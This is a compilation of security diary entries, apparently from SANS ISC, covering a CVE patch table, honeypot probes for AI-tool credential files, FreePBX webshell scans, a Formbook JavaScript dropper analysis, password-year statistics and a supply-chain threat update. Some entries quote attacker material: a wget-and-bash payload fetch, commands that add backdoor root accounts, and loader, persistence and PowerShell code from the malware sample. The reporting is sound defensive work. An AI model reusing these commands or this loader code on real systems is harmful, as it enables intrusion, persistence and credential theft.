%%cve:2026-32071%%	No	No	-	-	Important	7.5	6.5
Windows Management Services Elevation of Privilege Vulnerability
%%cve:2026-20930%%	No	No	-	-	Important	7.8	6.8
Windows OLE Elevation of Privilege Vulnerability
%%cve:2026-26162%%	No	No	-	-	Important	7.8	6.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2026-33101%%	No	No	-	-	Important	7.8	6.8
Windows Print Spooler Information Disclosure Vulnerability
%%cve:2026-32084%%	No	No	-	-	Important	5.5	4.8
Windows Projected File System Elevation of Privilege Vulnerability
%%cve:2026-27927%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26184%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32069%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32074%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32078%%	No	No	-	-	Important	7.8	6.8
Windows Push Notifications Elevation of Privilege Vulnerability
%%cve:2026-26167%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-32158%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32159%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32160%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-26172%%	No	No	-	-	Important	7.8	6.8
Windows Recovery Environment Security Feature Bypass Vulnerability
%%cve:2026-20928%%	No	No	-	-	Important	4.6	4.0
Windows Redirected Drive Buffering System Denial of Service Vulnerability
%%cve:2026-32216%%	No	No	-	-	Important	5.5	4.8
Windows Search Service Elevation of Privilege Vulnerability
%%cve:2026-27909%%	No	No	-	-	Important	7.8	6.8
Windows Sensor Data Service Elevation of Privilege Vulnerability
%%cve:2026-26161%%	No	No	-	-	Important	7.8	6.8
Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability
%%cve:2026-26174%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32224%%	No	No	-	-	Important	7.0	6.1
Windows Server Update Service (WSUS) Tampering Vulnerability
%%cve:2026-26154%%	No	No	-	-	Important	7.5	6.5
Windows Shell Elevation of Privilege Vulnerability
%%cve:2026-26165%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-26166%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-27918%%	No	No	-	-	Important	7.8	6.8
Windows Shell Information Disclosure Vulnerability
%%cve:2026-32151%%	No	No	-	-	Important	6.5	5.7
Windows Shell Security Feature Bypass Vulnerability
%%cve:2026-32225%%	No	No	-	-	Important	8.8	7.7
Windows Shell Spoofing Vulnerability
%%cve:2026-32202%%	No	No	-	-	Important	4.3	3.8
Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability
%%cve:2026-32082%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32083%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-32068%%	No	No	-	-	Important	7.0	6.1
Windows Snipping Tool Remote Code Execution Vulnerability
%%cve:2026-32183%%	No	No	-	-	Important	7.8	6.8
Windows Snipping Tool Spoofing Vulnerability
%%cve:2026-33829%%	No	No	-	-	Moderate	4.3	3.8
Windows Speech Brokered Api Elevation of Privilege Vulnerability
%%cve:2026-32089%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32090%%	No	No	-	-	Important	7.8	6.8
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2026-32153%%	No	No	-	-	Important	7.8	6.8
Windows Storage Spaces Controller Elevation of Privilege Vulnerability
%%cve:2026-27907%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32076%%	No	No	-	-	Important	7.8	6.8
Windows TCP/IP Remote Code Execution Vulnerability
%%cve:2026-33827%%	No	No	-	-	Critical	8.1	7.1
Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability
%%cve:2026-27908%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-27921%%	No	No	-	-	Important	7.0	6.1
Windows UPnP Device Host Elevation of Privilege Vulnerability
%%cve:2026-27915%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-27919%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32075%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-27916%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-27920%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32077%%	No	No	-	-	Important	7.8	6.8
Windows UPnP Device Host Information Disclosure Vulnerability
%%cve:2026-27925%%	No	No	-	-	Important	6.5	5.7
Windows UPnP Device Host Remote Code Execution Vulnerability
%%cve:2026-32156%%	No	No	-	-	Important	7.4	6.4
Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability
%%cve:2026-32223%%	No	No	-	-	Important	6.8	5.9
Windows User Interface Core Elevation of Privilege Vulnerability
%%cve:2026-32165%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-27911%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32163%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-32164%%	No	No	-	-	Important	7.8	6.8
Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability
%%cve:2026-23670%%	No	No	-	-	Important	5.7	5.0
Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability
%%cve:2026-27917%%	No	No	-	-	Important	7.0	6.1
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2026-32080%%	No	No	-	-	Important	7.0	6.1
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2026-32222%%	No	No	-	-	Important	7.8	6.8

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Starting March 10, 2026, my DShield sensor started getting probe for various AI models such as claude, openclaw, huggingface, etc. Reviewing the data already reported by other DShield sensors to ISC, the DShield database shows reporting of these probes started that day and has been active ever since.

Based on what we currently have reported, it appears the only source scanning for these models is IP 81.168.83.103. However, my sensor has been actively scanned by this source since January 29, 2026 and is still ongoing today. Beside the AI probe, it has been scanning various ports that are often associated with web content.

Reviewing the scanning activity from this host, it appears this source is the only IP we see reported to DShield performing this activity. 

ES|QL Query [1]

Using this ES|QL query in Kibana discover, it lists all the URL the actor is looking for. I recorded 52 queries between March 10 to April 13, 2026 where April 3rd, 2026 received the most activity.

FROM cowrie* 
| WHERE event.reference == "no match"
| WHERE http.request.body.content IS NOT NULL
| KEEP @timestamp, http.request.body.content
| WHERE http.request.body.content LIKE "*openclaw*" OR http.request.body.content LIKE "*claude*" OR  http.request.body.content LIKE "*huggingface*" OR  http.request.body.content LIKE "*openai*"  OR  http.request.body.content LIKE "*clawdbot*"
| SORT @timestamp DESC
| STATS Total=COUNT(http.request.body.content) BY AI_Scan_Activity=BUCKET(@timestamp, 50, ?_tstart, ?_tend)

This graph shows the start of activity searching for clawbot/moltbot first reported March 10, 2026 ever since then.

Indicators

81.168.83.103 (AS 20860)
/.openclaw/workspace/db.sqlite
/.openclaw/workspace/chroma.db
/.openclaw/secrets.json
/.clawdbot/moltbot.json
/.claude/settings.json
/.claude/.credentials.json
/.cache/huggingface/token
/openai/env.json
/openai/credentials.json

[1] https://www.elastic.co/guide/en/elasticsearch/reference/8.19/esql-functions-operators.html
[2] https://isc.sans.edu/weblogs/urlhistory.html?url=Ly5jYWNoZS9odWdnaW5nZmFjZS90b2tlbg== (/.cache/huggingface/token)
[3] https://isc.sans.edu/weblogs/urlhistory.html?url=Ly5jbGF3ZGJvdC9tb2x0Ym90Lmpzb24= (/.clawdbot/moltbot.json)
[4] https://isc.sans.edu/weblogs/urlhistory.html?url=Ly5vcGVuY2xhdy9zZWNyZXRzLmpzb24= (/.openclaw/secrets.json)
[5] https://www.ox.security/blog/one-step-away-from-a-massive-data-breach-what-we-found-inside-moltbot/
[6] https://www.virustotal.com/gui/ip-address/81.168.83.103
[7] https://www.shodan.io/host/81.168.83.103 (Linux system)

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Last week, I wrote about attackers scanning for various webshells, hoping to find some that do not require authentication or others that use well-known credentials. But some attackers are paying attention and are deploying webshells with more difficult-to-guess credentials. Today, I noticed some scans for what appears to be the "EncystPHP" web shell. Fortinet wrote about this webshell back in January. It appears to be a favorite among attackers compromising vulnerable FreePBX systems.

The requests I observed look like:

GET /admin/modules/phones/ajax.php?md5=cf710203400b8c466e6dfcafcf36a411
Host: [victim ip address]:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

This URL matches what Fortinet reported back in January. 

The parameter name "md5" is a bit misleading. The webshell will just compare the string. The parameter is not necessarily the MD5 hash of a specific "password"; any string will work as long as it matches the hard-coded string in the webshell. The string above has the correct length for an MD5 hash, but I wasn't able to find it in common MD5 hash databases. It is very possible that only a few different values are used across different attack campaigns. Many attackers may just "copy/paste" the code, including this access secret.

Currently, these probes originate from %%ip:160.119.76.250%%, an IP address located in the Netherlands. The IP address hosts an unconfigured web server. 

The same IP address is also probing for various FreePBX vulnerabilities, for example:

/restapps/applications.php?linestate=$$LINESTATE$$&user=100
Context: ext-local

Action: Originate
Channel: Local/DONTCALL@macro-dial
Application: system
data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/k

This request also matches the scans reported by Fortinet, and it returns the EncystPHP webshell. This version is also adding the following backdoor accounts:

echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'hima:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asterisk:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'sugarmaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'spamfilter:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asteriskuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supports:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supermaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'juba:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true

If you are using FreePBX, you may want to check for these accounts just to make sure.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called “cbmjlzan.JS” (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV’s on VirusTotal[1].

The file is pretty big (10MB) and contains a copy of the AsmDB project lib[2]. The purpose is unknown.

As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed:

The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task):

function FDAWE(x) {
  return x.split('').reverse().join('');
}
var scriptName = WScript['ScriptName'];
var urlName = ThreeChars(scriptName) + '.url';
var publicUrl = 'C:\\Users\\Public\\' + urlName;
var copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName;
var fso = new ActiveXObject('Scripting.FileSystemObject');
if (!fso.FileExists(copiedScript)) {
  if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') {
    fso.CopyFile(scriptName, copiedScript);
    var shell = new ActiveXObject('WScript.Shell');
    var cmd = 'cmd /c schtasks /create /sc minute /mo 15 /tn ' + scriptName + ' /tr ' + copiedScript;
    shell.Run(cmd);
  }
}

Three files are dropped in C:\Users\Public:

• Brio.png
• Orio.png
• Xrio.png

These aren’t pictures, they are used by the PowerShell script executed after implementing persistence:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((‘<__REMOVED__>'.Replace('VFHDVXDJCF','')))))

The PowerShell is even documented and has multiple purposes.

First, the file Xrio.png is processed. It contains AES encrypted data:

$inputBase64FilePath = "C:\Users\PUBLIC\Xrio.png"
$aes_var = [System.Security.Cryptography.Aes]::Create()
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')
$aes_var.IV = [System.Convert]::FromBase64String('eb8a/RvZf2ltVDo2satMKg==')
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)
$encryptedBytes = [System.Convert]::FromBase64String($base64String)
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading
$decryptor = $aes_var.CreateDecryptor()
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()
$commands = $decryptedString -split "`n"
foreach ($encodedCommand in $commands) {
   ...
}

The decrypted code will apply evasion techniques based on patching EtwEventWrite() and AmsiScanBuffer(). This is classic in many malware[3].

Then, the PowerShell script will decrypt the blob in Orio.png using the same technique. This time a PE file will be extracted (SHA256:53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b)[4]. It’s a .Net DLL.

The DLL is injected in a MSBuild.exe process:

$Allohaarnppp11111111=@('file:///C:/Users/Public/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');
try{
    $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');
    $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');
    $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)}
Catch {
}

This DLL will used the file Brio.png and extract the real malware[5]. It's another sample of Formbook.

[1] https://www.virustotal.com/gui/file/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285/gti-summary
[2] https://github.com/MahdiSafsafi/asmdb
[3] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218
[4] https://www.virustotal.com/gui/file/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b/gti-summary
[5] https://www.virustotal.com/gui/file/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7/gti-summary

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

In a previous diary [1], we looked to see how numbers were used within passwords submitted to honeypots. One of the items of interest was how dates, and more specifically years, were represented within the data and how that changed over time. It is often seen that years and seasons are used in passwords, especially when password change requirements include frequenty password changes. Some examples we might see today:

• Spring2026!
• Spring26
• April2026
• April@2026
• AprilShowers26
• Bloom2026
• Easter2026!
• Passover2026

How is this data represented within passwords submitted to honeypots? Are bots updated to incorporate new year values at certain intervals? 

Date range of data: 4//21/2024 - 3/29/2026
Number of unique passwords: 496,562

Figure 1: Top 10 contiguous numbers used in passwords submitted to sample of DShield honeypots. 

 

When looking at contiguous numbers used within passwords, we see similar data from a couple of years ago. The top two contigious numbers seen within passwords submitted to honeypots were "123" and "1". However, rather than many of the other high volume contiguous numbers representing a subset of "123456", the passwords included other numbers such as "100000", "19", "69", "200".

It turns out that this activity was related to a potential DDoS or stress testing of and endpoing using ICMP. "100000" was the desired number of packets sent to the destionation host and the other numbers represented each octet of the destination IP. 

Figure 2: Passwords submitted to honeypots that were supposed to be commands run once access was gained to the honeypot.

 

The source IP %%ip:147.45.47.117%% was attempting these commands between 11/18/2024 and 11/24/2024. The activity was seen on honeypots distributed in GCP, Digital Ocean, Azure and a residential honeypot. This was not seen on samples from an AWS honeypot. 

Other activities from this source were seen between 11/14/2024 and 12/1/2024. Most of the sessions from this host are repeated attempts to download a script from %%ip:45.125.66.215%% and install it as a service. 

Figure 3: Repeated attempts to setup and install a service using a downloaded script from %%ip:45.125.66.215%%.

 

Unfortunately, the file was not downloaded by any of the honeypots, so there was not a file to reference. 

Okay, back to passwords and number usage. Let's take a look at number frequency use in the passwords submitted to honeypots.

Figure 4: Individual number frequency used within passwords submitted to honeypots. 

 

Similar to the previous review, generally the lower the number, the more frequently it's used in a password. The most common digits used are "0", "1", "2" and "3". What about 4-digit numbers?

Figure 5: Top 10 numbers used within passwords submitted to honeypots only containing 4 digits.

 

This was also similar to the previous review. "1234" is still the most common and usually the most prevelant year seen is the prior year. We do see "2026" in this list, but since there's only a few months of data, it hasn't quite hit the volume of the previous year. One of the curiousities from this data is when these years get introduced. For example, when does "2026" start getting used within a password submitted to a honeypot?

Figure 6: Heatmap of years used within passwords and when they showed up in honeypot data. 

 

Overall, it appears that 4-digit numbers representing years show up more prevalently in the year in which that data was submitted to a honeypot. From Figure 6, we see that "2025" shows up most frequently in data captured from honeypot logs in 2025. This also appears similar for "2024". An item that was surprising when looking at the data, is that there were already some hits for "2027". 

Figure 7: Passwords containing year and their volume over time, showing a small number of submissions containing "2027". 

 

Year contained in password	First seen in samples	Example password
2024	11/1/2023 (found in expanded dataset)	sysadmin2024
2025	4/5/2024	@dm1n2025
2026	5/6/2024	@2026
2027	8/11/2024	2027

Figure 8: Passwords containing recent years, when they first appeared in the dataset along with some example passwords. 

 

Most of the passwords containing what could be a year are introduced the year before. However, that may vary widely from the beginning to the end of the previous year. There are also many other "future" years seen within the dataset. 

Figure 9: Heatmap of future years used within passwords from data collection, showing "2023" was heavily used in the data collected near the end of 2024. 

 

Year contained in password	First seen in samples	Example password	Password submission source
2028	4/27/2024	020283	%%ip:27.47.108.14%%
2029	4/27/2024	220291	%%ip:27.47.108.14%%
2030	4/21/2024	1020304050	%%ip:124.220.63.230%%
2031	4/24/2024	19820313	%%ip:103.174.9.66%%
2032	4/24/2024	19820320	%%ip:103.174.9.66%%
2033	4/27/2024	110220330	%%ip:27.47.108.14%%
2034	8/11/2024	2034	%%ip:45.90.13.172%%
2035	5/5/2024	235842035	%%ip:185.161.248.247%%
2036	4/27/2024	3203672	%%ip:27.47.108.14%%
2037	8/11/2024	2037	%%ip:45.90.13.172%%
2038	4/27/2024	020384	%%ip:27.47.108.14%%
2039	4/27/2024	220391	%%ip:27.47.108.14%%
2040	4/24/2024	19820402	%%ip:103.174.9.66%%

Figure 10: Passwords containing future years, when they first appeared in the dataset along with some example passwords. 

 

In the cases where a future year is being used, the passwords likely have nothing to do with that year. However, there are a few examples that could be dates:

• 19820313: 03/13/1982
• 19820320: 03/20/1982
• 19820402: 04/02/1982

Figure 11: In most cases, the years are used at the end of the password, rather than in the middle or beginning of the password.

 

From the examples, focusing on a 4-digit number that's added to the end of a password could give us more representative examples of a number used intentionally to represent a year. Passwords containing "2027" for example, have a very different distribution on where they appear in the passwords. We see a much higher liklihood of "2027" being in a variety of locations, rather than just at the end of the password. 

There are also many numbers that could represent specific dates. 

Figure 12: Examples of numbers that could represent dates using diffrent formats. 

 

Depending on the numbers, it can be difficult to know whether numbers representing days or months come first, but can be clearly determined when a day is greater than 12 since a month cannot have a value greater than 12. Some of these dates are found in passwords that have more content, but in most cases the date alone is used as the password. Some examples:

• w@terloo19051954
• 01011958
• 25031959
• 01011960
• 17101971
• 20101971
• 24101971
• www.txwscx.comsritgyxf2sxy19831122zx
• 19831123
• 20261017
• 20261109
• 20261111

For the passwords identified as possibly having dates in a YYYYMMDD, MMDDYYYY or DDMMYYYY format (16,713), 88.9% (14,582) of them were just 8-digit numbers. It was interesting to see years from 1958 to 2026. Could this be another habit of using dates of birth or just the current day in passwords?

 

Figure 13: Top 10 years seen in passwords if numbers represent specific dates in YYYYMMDD, MMDDYYYY or DDMMYYYY formats. 

 

Figure 14: Possible distrubution of months seen in passwords if numbers represent specific dates in YYYYMMDD, MMDDYYYY or DDMMYYYY formats.

 

Figure 15: Distribution of years found within the dates identified in passwords. There is a heavy focus on dates in the 1980s.

 

Figure 16: Image showing possible "age" distributions based on different from dates seen in passwords from today. 

 

There is a high distribution of "0" year age dates. One hypothesis is that the current day is used within passwords, assuming someone changed their password that day and they used today's date. Looking at general proximity, there were around 1,000 passwords submitted that included dates close to submission date. This represents about 94% of similar passwords submitted in a proximity of 180 days from the password submission date to a honeypot. If the password submitted to a honeypot contains a date and it's close to the current date, it's probably very close. 

Figure 17: Distribution of passwords containing dates close to the date of interaction with a honeypot. 

 

I really enjoyed the heatmaps, but the largest one didn't display well in this diary. It zooms in well [2], so feel free to download it here. 

To finish things off, the most and least common passwords containing years from sample honeypot data:

Capture Year	Password
2024	ubuntu@2024
2024	postgres@2024
2024	Qwer@2024
2024	Admin@2024
2024	dev@2024
2025	2025
2025	Azerty2025
2025	P@ssw0rd@2025
2025	Itsemoemo2025@Washere2025
2025	Admin@2025
2026	2026
2026	claude2026!
2026	20262026
2026	admin2026
2026	P@ssw0rd2026

Figure 18: Most common passwords containing years from honeypot samples. 
 

Capture Year	Password
2024	bscs@2024
2024	gameserver2024
2024	dell1@2024
2024	Redis@2024
2024	redhat2024
2025	uqkxipImdQ97hzWScUrk20250402
2025	100202500200
2025	01022025
2025	12025988
2025	001002025
2026	test-2026
2026	es!2026
2026	P@ssw0rd2026~
2026	ec2-user@2026
2026	Ubuntu!2026

Figure 19: Least common passwords containing years from honeypot samples.

 

Keep years and dates, especially the current year, out of your passwords.

 

[1] https://isc.sans.edu/diary/Number+Usage+in+Passwords/30540
[2] https://www.dropbox.com/scl/fi/nl995gb6yziostxttxrol/2026-04-09_figure16.png?rlkey=mfu6oteed72ohwhae8ml9y24g&st=192holxm&dl=0

--
Jesse La Grew
Senior Handler

This is the seventh update to the TeamPCP supply chain campaign threat intelligence report, "When the Security Scanner Became the Weapon" (v3.0, March 25, 2026). Update 006 covered developments through April 3, including the CERT-EU European Commission breach disclosure, ShinyHunters' confirmation of credential sharing, Sportradar breach details, and Mandiant's quantification of 1,000+ compromised SaaS environments. This update consolidates five days of intelligence from April 3 through April 8, 2026.

HIGH: Cisco Development Environment Breached via Trivy Supply Chain, 300+ Repositories Stolen

BleepingComputer reported that threat actors leveraged credentials stolen through the Trivy supply chain compromise (%%cve:2026-33634%%) to breach Cisco's internal development environment. The attackers gained access to build systems and developer workstations through a malicious GitHub Action plugin.

The breach scope is substantial:

• Over 300 private GitHub repositories containing Cisco source code were cloned, including code for AI-powered products and unreleased items
• Customer repositories belonging to banks, business process outsourcing firms, and US government agencies were among those exfiltrated
• AWS keys were stolen and used for unauthorized activities across Cisco's cloud accounts
• Multiple threat actors were reportedly involved in the Cisco CI/CD and AWS account breaches, "with varying degrees of activity"

ShinyHunters subsequently expanded their claims beyond the development environment, alleging access to 3 million or more Salesforce records, additional GitHub repositories, and AWS S3 buckets. The claimed dataset allegedly includes records tied to personnel at FBI, DHS, DISA, IRS, and NASA, as well as the Australian Ministry of Defense and Indian government agencies. These expanded claims have not been independently verified.

ShinyHunters set an extortion deadline of approximately April 3. As of April 8, no public data dump has materialized and Cisco has not issued a public statement specifically addressing the ShinyHunters extortion claim. The deadline passage without publication, combined with CipherForce's infrastructure outage documented below, represents the second data point suggesting potential friction in the campaign's monetization pipeline.

The Cisco breach is significant because it is the highest-profile technology company confirmed as a direct victim of the Trivy supply chain compromise. The involvement of multiple threat actors in a single victim's environment is consistent with the credential-sharing pattern documented in Update 006. The theft of customer source code repositories for banks and US government agencies creates secondary exposure obligations for downstream organizations.

Recommended action: Organizations that are Cisco customers or partners, particularly those with source code or build artifacts hosted in Cisco's development infrastructure, should contact Cisco to determine whether their repositories were among those exfiltrated. Organizations using Cisco AI products should monitor for unauthorized use of stolen source code.

MEDIUM: Google GTIG Formally Designates TeamPCP as UNC6780

Google Threat Intelligence Group (GTIG) has assigned the formal tracking designation UNC6780 to TeamPCP. The designation appeared in GTIG's analysis of the axios npm supply chain attack, which attributed that separate compromise to North Korean threat actor UNC1069. In distinguishing the two campaigns, GTIG identified TeamPCP/UNC6780 as the financially motivated group responsible for the Trivy, Checkmarx, LiteLLM, and Telnyx compromises. GTIG also named TeamPCP's credential stealer payload as SANDCLOCK.

The UNC6780 designation is significant for three reasons. First, it confirms Google is formally tracking TeamPCP as a distinct, persistent threat actor rather than treating the campaign as a series of unrelated incidents. Second, UNC (uncategorized) designations in Google's taxonomy indicate the threat actor does not yet map to a known state-sponsored cluster, reinforcing the financially motivated assessment from earlier reporting. Third, the designation provides a standardized reference for cross-vendor threat intelligence sharing as multiple organizations (Mandiant, Wiz, Unit 42, Elastic, Datadog) independently track overlapping aspects of the campaign.

The Google Cloud Threat Horizons H1 2026 report also covers UNC6780. Analysts assess the formal GTIG tracking designation, combined with Mandiant's engagement on the LiteLLM forensics and their quantification of 1,000+ compromised SaaS environments, indicates Google considers UNC6780 a top-tier financially motivated threat actor.

Recommended action: Organizations using Google Chronicle, VirusTotal, or Mandiant Advantage should search for UNC6780 indicators in their environments. The SANDCLOCK designation provides a specific malware family name for detection rule authoring.

MEDIUM: CipherForce Leak Infrastructure Goes Dark as Sportradar Deadline Approaches

CipherForce's two known Tor-based leak sites remain unavailable, confirmed via ransomware tracking services. The group has not posted new victims since February 23, 2026 (a gap of 44 days). This infrastructure outage coincides with the approaching Sportradar AG data publication deadline (approximately April 10-11), which was set when CipherForce first claimed the Sportradar breach around March 26-27.

Analysts assess three possible explanations: (1) the outage may be related to the internal friction and "mole hunt" reported in Update 006, suggesting operational disruption within the TeamPCP ecosystem is affecting CipherForce's ability to maintain infrastructure; (2) the sites may have been deliberately taken offline as an operational security measure following increased law enforcement and researcher attention; or (3) the outage may be temporary and unrelated to operational factors.

The Sportradar deadline remains the key near-term indicator. If CipherForce's infrastructure returns online with published Sportradar data around April 10-11, it would confirm the group remains operationally capable despite reported infighting. If the deadline passes without publication, it may signal meaningful disruption to TeamPCP's ransomware operations. The ShinyHunters/Cisco extortion deadline lapsing on approximately April 3 without a visible data dump adds a second data point suggesting potential friction in the monetization pipeline, though negotiations may be occurring privately.

Recommended action: Organizations monitoring the Sportradar breach (particularly the 161 client organizations and third-party credential holders identified in Update 006) should continue preparing for potential data publication while noting the operational uncertainty.

MEDIUM: CISA KEV Deadline Arrives, Still No Standalone Advisory at Day 27

The CISA KEV remediation deadline for %%cve:2026-33634%% is today, April 8, 2026. Federal civilian executive branch agencies are required to have remediated under BOD 22-01. CISA has not issued a standalone advisory, emergency directive, or joint advisory with FBI/NSA specific to the TeamPCP campaign. The regulatory response gap noted in Update 004 persists at day 27 since the campaign's initial compromise.

For comparison, Singapore's Cyber Security Agency remains the only government worldwide to have issued dedicated advisories, now totaling two: AD-2026-001 (TeamPCP campaign, March 27) and AD-2026-002 (axios npm compromise). No advisories from NCSC (UK), ACSC (Australia), CCCS (Canada), or BSI (Germany) have been identified. The absence of a Five Eyes joint advisory for a campaign of this scale (1,000+ SaaS environments, a confirmed EU government breach, and active ransomware partnerships) is notable.

Recommended action: Organizations that have not yet completed remediation should treat the KEV deadline as a hard compliance checkpoint. Beyond patching Trivy to v0.69.2+, trivy-action to v0.35.0, or setup-trivy to v0.2.6, organizations must also complete credential rotation for any secrets that may have been exposed during the March 19-27 compromise window. Patching alone is insufficient without credential rotation.

MEDIUM: ShinyHunters Claims Snowflake/Anodot Breach in Parallel Operation

BleepingComputer reported on April 7 that ShinyHunters claimed responsibility for data theft from over a dozen Snowflake customers via compromised authentication tokens from Anodot, a SaaS data anomaly detection provider. ShinyHunters confirmed stealing data "from dozens of companies" and demanded ransom payments.

This breach appears to be a separate operation from the TeamPCP supply chain campaign, with the attack vector being stolen Anodot authentication tokens rather than TeamPCP-sourced credentials. However, it is operationally significant because ShinyHunters is the same group that confirmed in Update 006 they had accessed credentials from the TeamPCP trove. ShinyHunters is now running at least two concurrent campaigns: TeamPCP credential exploitation (European Commission data publication, Cisco extortion) and the Anodot/Snowflake breach. Their sustained operational tempo across multiple fronts suggests the group has significant capacity and is not constrained by any single operation.

Recommended action: Organizations using Snowflake or Anodot should follow Snowflake's guidance for affected customers. For the TeamPCP campaign specifically, this development reinforces that ShinyHunters represents an active and expanding threat vector for stolen credential monetization.

INFO: Supply Chain Pause Extends to 24 Days

No new package compromises have been reported since the Telnyx PyPI disclosure on March 27. The supply chain pause is now approximately 576 hours (24 days). No compromises in RubyGems, crates.io, or Maven Central have been reported by any source monitoring these registries. The campaign remains confined to five ecosystems: GitHub Actions, PyPI, npm, Docker Hub/GHCR, and OpenVSX.

The extended pause, now the longest since the campaign began on March 19, is consistent with the operational phase transition from supply chain compromise to credential monetization. TeamPCP/UNC6780 retains an estimated 300 GB+ of stolen credentials, and multiple groups (LAPSUS$, Vect, ShinyHunters) continue actively exploiting this material as documented in prior updates.

INFO: Campaign Receding from Daily Security News Coverage

Notably, the April 6-8 period produced no new TeamPCP-specific articles from major Tier 1 security publications (BleepingComputer, The Record, SecurityWeek, Dark Reading). The SANS ISC Stormcast episodes for April 7 and April 8 did not mention TeamPCP. This contrasts with the March 25 through April 3 period when the campaign generated daily coverage across multiple outlets.

Analysts assess this reflects the campaign transitioning from active supply chain compromise (which generates immediate news coverage) to credential monetization (which generates coverage only when specific victims are disclosed). The underlying threat has not diminished; Mandiant's assessment of 1,000+ compromised SaaS environments and an estimated 500,000 machines means the blast radius is still expanding through discovery rather than new attacks.

Watch Item Status

